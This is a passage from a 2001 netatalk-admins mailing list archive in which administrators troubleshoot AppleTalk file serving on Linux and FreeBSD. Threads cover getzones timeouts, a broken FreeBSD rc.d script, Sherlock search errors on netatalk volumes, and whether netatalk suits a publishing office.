Feb  6 23:25:03 gateway atalk: atalkd startup succeeded
Feb  6 23:25:16 gateway papd[11315]: restart (1.4b2+asun2.1.3)
Feb  6 23:25:16 gateway atalk: papd startup succeeded
Feb  6 23:25:16 gateway atalk: afpd startup succeeded
Feb  6 23:25:22 gateway afpd[11325]: blue:AFPServer@* started on 65280.241:254
(1.4b2+asun2.1.3)
Feb  6 23:25:22 gateway afpd[11325]: ASIP started on 192.168.2.1:548(2)
(1.4b2+asun2.1.3) 
Feb  6 23:25:25 gateway afpd[11327]: ASIP session:548(2) from
192.168.2.4:28730(0)
Feb  6 23:25:25 gateway afpd[11325]: server_child[1] 11327 done
Feb  6 23:25:30 gateway afpd[11328]: ASIP session:548(2) from
192.168.2.4:28731(0)
Feb  6 23:25:30 gateway PAM_unix[11328]: (system-auth) session opened for user
paul by (uid=0)
Feb  6 23:25:31 gateway afpd[11328]: 0.18KB read, 0.14KB written
Feb  6 23:25:31 gateway afpd[11325]: server_child[1] 11328 done

I am loading appletalk: 
[root@blue atalk]# lsmod | grep apple
appletalk              18016  11  (autoclean)

[root@blue atalk]# dmesg | grep Talk 
NET4: AppleTalk 0.18 for Linux NET4.0

nbplkup works. 
                           blue:AFPServer                         
65280.241:254
                           blue:netatalk                           65280.241:4
                           blue:Workstation                        65280.241:4
                           pink:Darwin                             65365.60:128

[root@blue atalk]# getzones (doesn't)
atp_rresp: Connection timed out

Help? 


=====
--
Paul Beard
8040 27th Ave NE / Seattle WA 98115
206 529 8400 / 713 5671 (cell)

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - Buy the things you want at great prices.
http://auctions.yahoo.com/

From netatalk.administrators-errors@umich.edu  Wed Feb  7 09:27:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA23011
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Feb 2001 09:27:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA00381
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Feb 2001 09:27:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA00361
	for netatalk.administrators-members@umich.edu; Wed, 7 Feb 2001 09:27:27 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA00332
	for <netatalk-admins@umich.edu>; Wed, 7 Feb 2001 09:27:26 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id JAA13267;
	Wed, 7 Feb 2001 09:27:24 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3A815AE7.6CB14EC6@univrel.pr.uconn.edu>
Date: Wed, 07 Feb 2001 09:25:43 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Bill Moran <wmoran@mail.iowna.com>
CC: Ralph Dratman <ralph@maxsoft.com>, netatalk-admins@umich.edu
Subject: Re: Almost forgot (was Re: Building 1.5pre3 for FreeBSD)
References: <v04210101b6a499aef916@[192.168.0.27]>
		 <3A7EF0D3.6B1C2FCE@mail.iowna.com> <v04210102b6a4c6174275@[192.168.0.27]> <3A7F21DF.B58C59CB@mail.iowna.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Bill Moran wrote:
> 
> Ralph Dratman wrote:
> 
> > At 1:28 PM -0500 2/5/01, Bill Moran wrote:
> > >You can also install the Netatalk version with asun patches to fix this.
> > >Although I've heard that the 1.5pre is even better. (advantage to the
> > >version with the asun patches is there's a FreeBSD port/package
> > >available, so installation is a snap)
> >
> > Where would I get the "version with asun patches" as a FreeBSD
> > package? And what version number or other identifier would I want to
> > look for?
> 
> As a side note ... I noticed that the startup script that gets installed
> in /usr/local/etc/rc.d is broken. It's basically missing the "#!/bin/sh"
> at the beginning of the file and therefore it doesn't execute (and
> therefore Netatalk doesn't start up at system boot)
> Now that I've been reminded of this I'll notify the port maintainer as
> well so he/she/it can fix it.

Just committed your fix to the tree. Sorry about the wait.

jeff

From netatalk.administrators-errors@umich.edu  Wed Feb  7 09:43:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA23348
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Feb 2001 09:43:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA25136
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Feb 2001 09:43:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA25120
	for netatalk.administrators-members@umich.edu; Wed, 7 Feb 2001 09:43:53 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA25066
	for <netatalk-admins@umich.edu>; Wed, 7 Feb 2001 09:43:52 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id JAA13475;
	Wed, 7 Feb 2001 09:43:49 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3A815EC0.C1C28F40@univrel.pr.uconn.edu>
Date: Wed, 07 Feb 2001 09:42:08 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Ralph Dratman <ralph@maxsoft.com>
CC: netatalk-admins@umich.edu
Subject: Re: Building 1.5pre3 for FreeBSD
References: <v04210101b6a499aef916@[192.168.0.27]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ralph Dratman wrote:
> I am using FreeBSD 3.3 and have Netatalk 4.2 working.
> Mostly it seems fine. However, there is a problem with certain
> directories when brought up on a Mac. At first there are many items,
> then the items "flicker" and mostly disappear, leaving only a few
> folders and a file called "[".
> 
> I mentioned this on a FreeBSD list and someone said he'd seen a
> similar problem and suggested I install the latest version of
> Netatalk. I downloaded 1.5pre3 and tried to follow the build
> instructions from the README, which go like this:
> 
>         1.  Set DESTDIR in the root Makefile.  DESTDIR is the directory below
>             which all binaries will be installed.  Setting it causes all
>             installation-relative pathnames to be set correctly...
> 
>         2.  When you've completed the configuration, type "make" at the root of
>             the source.  This will make all binaries.
> 
>         ...

To avoid further confusion, I have updated the README in the netatalk
distribution to include instructions on building with the ./configure
system.

jeff

From netatalk.administrators-errors@umich.edu  Wed Feb  7 18:02:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA15625
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Feb 2001 18:02:51 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA21983
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Feb 2001 18:02:51 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA21968
	for netatalk.administrators-members@umich.edu; Wed, 7 Feb 2001 18:02:50 -0500 (EST)
Received: from austin-jump.vircio.com ([216.30.106.234])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id SAA21932
	for <netatalk-admins@umich.edu>; Wed, 7 Feb 2001 18:02:48 -0500 (EST)
Received: (qmail 23619 invoked by uid 104); 7 Feb 2001 23:02:48 -0000
Received: from cwg-dated-1d02d580dd65c6e6@deepeddy.com by austin-jump.vircio.com with qmail-scanner-0.90 (uvscan: v4.0.50/v4115. . Clean. Processed in 0.305087 secs); 07/02/2001 17:02:47
Received: from deepeddy-austin.deepeddy.com (HELO deepeddy.vircio.com) ([10.254.254.253]) (envelope-sender <cwg-dated-1d02d580dd65c6e6@deepeddy.com>)
          by kingcreole.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 7 Feb 2001 23:02:47 -0000
Received: (qmail 26822 invoked by alias); 7 Feb 2001 23:02:47 -0000
From: "Chris Garrigues" <cwg-dated-1d02d580dd65c6e6@deepeddy.com>
Received: (qmail 26806 invoked from network); 7 Feb 2001 23:02:46 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) ([10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <netatalk-admins@umich.edu@fixme>; 7 Feb 2001 23:02:46 -0000
X-Mailer: exmh version 2.2_20000822 06/23/2000 with nmh-1.0.4
To: netatalk-admins@umich.edu
Subject: "Another process changed the volume during the search..."
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-2129532888P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Wed, 07 Feb 2001 17:02:46 -0600
Message-ID: <26803.981586966@deepeddy.com>
Mail-Reply-To: cwg-dated-1d02d580dd65c6e6@DeepEddy.Com

--==_Exmh_-2129532888P
Content-Type: text/plain; charset=us-ascii

One of the clients I've set up using netatalk is having a problem where when 
he attempts to use Sherlock to search a netatalk volume, he gets an alert with 
this message:

	Unable to search the volume "WCFileServer"
	Another process changed the volume during the search.
	Please wait for the process to finish and try again.

He's running 9.0.  I assume that another user updated something during his 
search.  Am I right in this assumption?  Is there anything I can do about this?

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    Nobody ever got fired for buying Microsoft,
      but they could get fired for relying on Microsoft.



--==_Exmh_-2129532888P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE6gdQWK9b4h5R0IUIRAoYeAJ9U5Q99TemGkpovO4ozrZdQiNn6RQCgikjX
MywoN2vnCzlmO640KQBSDC0=
=HTVt
-----END PGP SIGNATURE-----

--==_Exmh_-2129532888P--

From netatalk.administrators-errors@umich.edu  Wed Feb  7 18:44:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA16672
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Feb 2001 18:44:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA04747
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Feb 2001 18:44:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA04741
	for netatalk.administrators-members@umich.edu; Wed, 7 Feb 2001 18:44:50 -0500 (EST)
Received: from web3406.mail.yahoo.com (web3406.mail.yahoo.com [204.71.203.60])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id SAA04726
	for <netatalk-admins@umich.edu>; Wed, 7 Feb 2001 18:44:49 -0500 (EST)
Message-ID: <20010207234448.11514.qmail@web3406.mail.yahoo.com>
Received: from [24.176.79.249] by web3406.mail.yahoo.com; Wed, 07 Feb 2001 15:44:48 PST
Date: Wed, 7 Feb 2001 15:44:48 -0800 (PST)
From: paul beard <pkdbeard@yahoo.com>
Subject: What if 'add "alias net-pf-5 appletalk" '  doesn't work? 
To: netatalk-admins <netatalk-admins@umich.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

If anyone has any insight on this problem, I'd like to hear it, but please only
if you've actually read my earlier post and understand that I am running Redhat
7 (ie,  the conf.modules file has been renamed to modules.conf  and I'm not
sure the syntax is right anymore), that I want to know how to make pure DDP
appletalk work, ie. non-tcp and with servers appearing in the Chooser. 

yes, I have now read Harry Zink's .sig, and no, it doesn't work anymore. If
this is such an oft-repeated piece of information, why hasn't it been added to
the post-install script in the RPMs, as the changes to /etc/services are? 

To steal a page from Harry Zink ("self-evangelization does not serve anyone"),
if you're going to fill my mailbox with ranting, spare yourself the keystrokes.



=====
--
Paul Beard
8040 27th Ave NE / Seattle WA 98115
206 529 8400 / 713 5671 (cell)

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - Buy the things you want at great prices.
http://auctions.yahoo.com/

From netatalk.administrators-errors@umich.edu  Wed Feb  7 19:00:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA17249
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Feb 2001 19:00:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA10054
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Feb 2001 19:00:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA10040
	for netatalk.administrators-members@umich.edu; Wed, 7 Feb 2001 19:00:32 -0500 (EST)
Received: from dionysus.terrascope.com (www.terrascope.com [63.140.215.162])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA10011
	for <netatalk-admins@umich.edu>; Wed, 7 Feb 2001 19:00:31 -0500 (EST)
Received: from terrascope.com (IDENT:walt@localhost.localdomain [127.0.0.1])
	by dionysus.terrascope.com (8.9.3/8.9.3) with ESMTP id QAA04843
	for <netatalk-admins@umich.edu>; Wed, 7 Feb 2001 16:06:54 -0800
Sender: walt@dionysus.terrascope.com
Message-ID: <3A81E31D.5C4FB8B@terrascope.com>
Date: Wed, 07 Feb 2001 16:06:54 -0800
From: Walt Reed <walt@terrascope.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: "Another process changed the volume during the search..."
References: <26803.981586966@deepeddy.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Chris Garrigues wrote:

> One of the clients I've set up using netatalk is having a problem where when
> he attempts to use Sherlock to search a netatalk volume, he gets an alert with
> this message:
>
>         Unable to search the volume "WCFileServer"
>         Another process changed the volume during the search.
>         Please wait for the process to finish and try again.
>
> He's running 9.0.  I assume that another user updated something during his
> search.  Am I right in this assumption?  Is there anything I can do about this?
>

you neglect to mention what processes might be using the volume:  apache, samba,
wuftp, nfs, backup software?
are users connecting through ftp via bbedit?  do users telnet to the machine?  how
many users?

do any of the other users @ the location experience similar problems?  is the user
a "perpetual problem" user?  how many other programs is the user running @ the
same time?

i'm just trying to get an idea of how many variables you are dealing with.  also,
i'd update this person to 9.0.4, i've noticed better network performance.

if, in fact, you are right and another user is changing the files and interfering
w/ the search, i think i'd try writing an applescript that mounts the volume and
then indexes it @ night when no one could bother it, then shuts down the machine.
once sherlock has it indexed, it should be able to search easier.

hope that helps,

walt reed
systems administrator
terrascope



From netatalk.administrators-errors@umich.edu  Wed Feb  7 19:36:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA18528
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Feb 2001 19:36:19 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA28327
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Feb 2001 19:36:19 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA28311
	for netatalk.administrators-members@umich.edu; Wed, 7 Feb 2001 19:36:19 -0500 (EST)
Received: from austin-jump.vircio.com ([216.30.106.234])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA28292
	for <netatalk-admins@umich.edu>; Wed, 7 Feb 2001 19:36:18 -0500 (EST)
Received: (qmail 25016 invoked by uid 104); 8 Feb 2001 00:36:17 -0000
Received: from cwg-dated-b7963c3321a51b26@deepeddy.com by austin-jump.vircio.com with qmail-scanner-0.90 (uvscan: v4.0.50/v4115. . Clean. Processed in 0.297619 secs); 07/02/2001 18:36:17
Received: from deepeddy-austin.deepeddy.com (HELO deepeddy.vircio.com) ([10.254.254.253]) (envelope-sender <cwg-dated-b7963c3321a51b26@deepeddy.com>)
          by funinacapulco.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 8 Feb 2001 00:36:16 -0000
Received: (qmail 16398 invoked by alias); 8 Feb 2001 00:36:11 -0000
From: "Chris Garrigues" <cwg-dated-b7963c3321a51b26@deepeddy.com>
Received: (qmail 16358 invoked from network); 8 Feb 2001 00:36:10 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) ([10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <walt@terrascope.com@fixme>; 8 Feb 2001 00:36:10 -0000
X-Mailer: exmh version 2.2_20000822 06/23/2000 with nmh-1.0.4
To: Walt Reed <walt@terrascope.com>
Cc: netatalk-admins@umich.edu
Subject: Re: "Another process changed the volume during the search..." 
In-Reply-To: <3A81E31D.5C4FB8B@terrascope.com> 
References: <26803.981586966@deepeddy.com> <3A81E31D.5C4FB8B@terrascope.com>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-1096762116P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Wed, 07 Feb 2001 18:36:10 -0600
Message-ID: <16355.981592570@deepeddy.com>
Mail-Reply-To: cwg-dated-b7963c3321a51b26@DeepEddy.Com

--==_Exmh_-1096762116P
Content-Type: text/plain; charset=us-ascii

> From:  Walt Reed <walt@terrascope.com>
> Date:  Wed, 07 Feb 2001 16:06:54 -0800
>
> Chris Garrigues wrote:
> 
> > One of the clients I've set up using netatalk is having a problem where w
> hen
> > he attempts to use Sherlock to search a netatalk volume, he gets an alert
>  with
> > this message:
> >
> >         Unable to search the volume "WCFileServer"
> >         Another process changed the volume during the search.
> >         Please wait for the process to finish and try again.
> >
> > He's running 9.0.  I assume that another user updated something during hi
> s
> > search.  Am I right in this assumption?  Is there anything I can do about
>  this?
> >
> 
> you neglect to mention what processes might be using the volume:  apache, samba,
> wuftp, nfs, backup software?
> are users connecting through ftp via bbedit?  do users telnet to the machine?  how
> many users?

None of the above.  This particular machine is only used by atalk users.  
Backup software wasn't running at the time.  apache is on the system, but it's 
home is in a different part of the filesystem.  Samba is also running, but 
there are no PCs on that particular site.  telnet is disabled and the only 
people who have ssh are myself and my partner, neither of whom were logged in.

> do any of the other users @ the location experience similar problems?  is the user
> a "perpetual problem" user?  how many other programs is the user running @ the
> same time?

He's the most cluefull user at that particular client.  The other users all pass
their issues through him.  I'll check with him and see if anyone else is having 
the problem.


> i'm just trying to get an idea of how many variables you are dealing with.  also,
> i'd update this person to 9.0.4, i've noticed better network performance.

I think he's actually using 9.0.4, but I'll make sure about that as well.

> if, in fact, you are right and another user is changing the files and interfering
> w/ the search, i think i'd try writing an applescript that mounts the volume and
> then indexes it @ night when no one could bother it, then shuts down the machine.
> once sherlock has it indexed, it should be able to search easier.

How do you do that?  Sherlock/Find/Index Volumes doesn't list the server and I 
read in the archive that Apple disabled the ability to build indexes over the 
network.

(For some context, I'm primarily a Unix guy but i know my way around a Mac 
fairly well.  I don't do windows.)

Chris
-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    Nobody ever got fired for buying Microsoft,
      but they could get fired for relying on Microsoft.



--==_Exmh_-1096762116P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD4DBQE6gen5K9b4h5R0IUIRAn4EAJ94aYGIS5kCPJ+ic2z+gFa2aGZREwCYl/ZB
94OVpFrGkO3HfCZ74ekUHQ==
=M/S2
-----END PGP SIGNATURE-----

--==_Exmh_-1096762116P--

From netatalk.administrators-errors@umich.edu  Wed Feb  7 20:47:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA20285
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Feb 2001 20:47:18 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA04306
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Feb 2001 20:47:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA04289
	for netatalk.administrators-members@umich.edu; Wed, 7 Feb 2001 20:47:17 -0500 (EST)
Received: from dionysus.terrascope.com (www.terrascope.com [63.140.215.162])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA04214
	for <netatalk-admins@umich.edu>; Wed, 7 Feb 2001 20:47:16 -0500 (EST)
Received: from terrascope.com (IDENT:walt@localhost.localdomain [127.0.0.1])
	by dionysus.terrascope.com (8.9.3/8.9.3) with ESMTP id RAA04996
	for <netatalk-admins@umich.edu>; Wed, 7 Feb 2001 17:53:38 -0800
Sender: walt@dionysus.terrascope.com
Message-ID: <3A81FC20.CCFAC0D1@terrascope.com>
Date: Wed, 07 Feb 2001 17:53:36 -0800
From: Walt Reed <walt@terrascope.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: "Another process changed the volume during the search..."
References: <26803.981586966@deepeddy.com> <3A81E31D.5C4FB8B@terrascope.com> <16355.981592570@deepeddy.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Chris Garrigues wrote:

> > From:  Walt Reed <walt@terrascope.com>
> > Date:  Wed, 07 Feb 2001 16:06:54 -0800
> >
> > Chris Garrigues wrote:
> >
> > > One of the clients I've set up using netatalk is having a problem where w
> > hen
> > > he attempts to use Sherlock to search a netatalk volume, he gets an alert
> >  with
> > > this message:
> > >
> > >         Unable to search the volume "WCFileServer"
> > >         Another process changed the volume during the search.
> > >         Please wait for the process to finish and try again.
> > >
> > > He's running 9.0.  I assume that another user updated something during hi
> > s
> > > search.  Am I right in this assumption?  Is there anything I can do about
> >  this?
> > >
> >
> > you neglect to mention what processes might be using the volume:  apache, samba,
> > wuftp, nfs, backup software?
> > are users connecting through ftp via bbedit?  do users telnet to the machine?  how
> > many users?
>
> None of the above.  This particular machine is only used by atalk users.
> Backup software wasn't running at the time.  apache is on the system, but it's
> home is in a different part of the filesystem.  Samba is also running, but
> there are no PCs on that particular site.  telnet is disabled and the only
> people who have ssh are myself and my partner, neither of whom were logged in.
>
> > do any of the other users @ the location experience similar problems?  is the user
> > a "perpetual problem" user?  how many other programs is the user running @ the
> > same time?
>
> He's the most cluefull user at that particular client.  The other users all pass
> their issues through him.  I'll check with him and see if anyone else is having
> the problem.
>
> > i'm just trying to get an idea of how many variables you are dealing with.  also,
> > i'd update this person to 9.0.4, i've noticed better network performance.
>
> I think he's actually using 9.0.4, but I'll make sure about that as well.
>
> > if, in fact, you are right and another user is changing the files and interfering
> > w/ the search, i think i'd try writing an applescript that mounts the volume and
> > then indexes it @ night when no one could bother it, then shuts down the machine.
> > once sherlock has it indexed, it should be able to search easier.
>
> How do you do that?  Sherlock/Find/Index Volumes doesn't list the server and I
> read in the archive that Apple disabled the ability to build indexes over the
> network.
>
> (For some context, I'm primarily a Unix guy but i know my way around a Mac
> fairly well.  I don't do windows.)
>

hmm.. i thought you could do an index like that, but it seems you can't anymore, that's
too bad.
found this in the help menu:
"Mounted servers, CD-ROM discs, and read-only disks...do not appear in the Index
Volumes window."  it goes on to say that you can index it "directly on the shared
volume", which i assume means only if it's a mac, and directly from it's console.  you
can get the contextual menu to give you the option (hold down the "ctrl" and click on
the volume from the finder) to index, but it doesn't work.  sorry about that.

i'd still check his system & make sure he's running 9.0.4.  turn off samba if you
aren't using it, or at least turn it off for now, to eliminate it from the equation.
is the problem intermitant?  i tried to do a sherlock search here (i did 2 @ the same
time from different machines) and found it slow, but it worked, and my users telnet,
ftp, samba, etc.  do your users open files directly from the server, or do they use
local copies and update the server (or is there a version control software running)?
i'm wondering if a file could be getting locked or updated as you said.  one of the
most insidious problems i've had to deal w/ is users trying to include fonts off the
server in adobe type manager rather than copying them to the local drive, resulting in
weird startup problems, but that's a whole 'nother issue...

other than that, all i can think of is to make sure nfs isn't somehow on.  i know it
can lock files that are in use.

will keep looking into it.

walt reed


From netatalk.administrators-errors@umich.edu  Thu Feb  8 02:00:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA27219
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Feb 2001 02:00:21 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA06467
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Feb 2001 02:00:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA06461
	for netatalk.administrators-members@umich.edu; Thu, 8 Feb 2001 02:00:13 -0500 (EST)
Received: from mail.scoregroup.com (mail.scoregroup.com [207.88.200.3])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA06443
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 02:00:12 -0500 (EST)
Received: from admin (unknown [207.88.200.31])
	by mail.scoregroup.com (Postfix) with SMTP id AF9833F54
	for <netatalk-admins@umich.edu>; Thu,  8 Feb 2001 02:01:25 -0500 (EST)
From: "Jerry Thomas" <thomasj@scoregroup.com>
To: <netatalk-admins@umich.edu>
Subject: Netatalk for a publishing house
Date: Thu, 8 Feb 2001 01:58:59 -0500
Message-ID: <NEBBKOOBGMIFDPLLKFLDEEBICLAA.thomasj@scoregroup.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

Hello,

We are currently using a Mac File Server to store all our data.  I am
considering reccomending Netatalk.  I know about the alias problem and don't
think it is really an issue for us.  We mainly use quark and photoshop to
publish the magazines.  Are there any other issues with the Netatalk that
may get me fired?

Thanks,
Jerry
--
Jerry Thomas	thomasj@scoregroup.com


From netatalk.administrators-errors@umich.edu  Thu Feb  8 08:05:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA02526
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Feb 2001 08:05:42 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA13482
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Feb 2001 08:05:35 -0500 (EST)
Received: (from daemon@localhost)
